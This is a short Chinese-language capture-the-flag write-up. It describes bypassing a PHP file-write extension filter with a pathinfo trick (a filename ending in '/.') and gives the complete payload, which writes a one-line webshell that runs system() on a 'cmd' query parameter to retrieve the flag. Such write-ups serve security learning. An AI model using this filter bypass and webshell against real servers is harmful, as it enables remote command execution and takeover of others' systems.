开环境看到是一个php的源代码,先审计一下,大概可以知道filename是要编写的文件名,data是要写入文件的内容,但是发现基本上所有可以用的木马后缀名都被过滤了
上网找了一下pathinfo函数的漏洞,发现可以用1.php/.绕过,就是写完木马文件名之后加一个/.就可以绕过了,我也不知道原理是啥,但是就是这么用的
最后的payload为filename=5.php/.&data=<?php system($_GET["cmd"]);?>
然后访问5.php直接执行命令就可以看到flag了,flag在源代码里,这个需要注意一下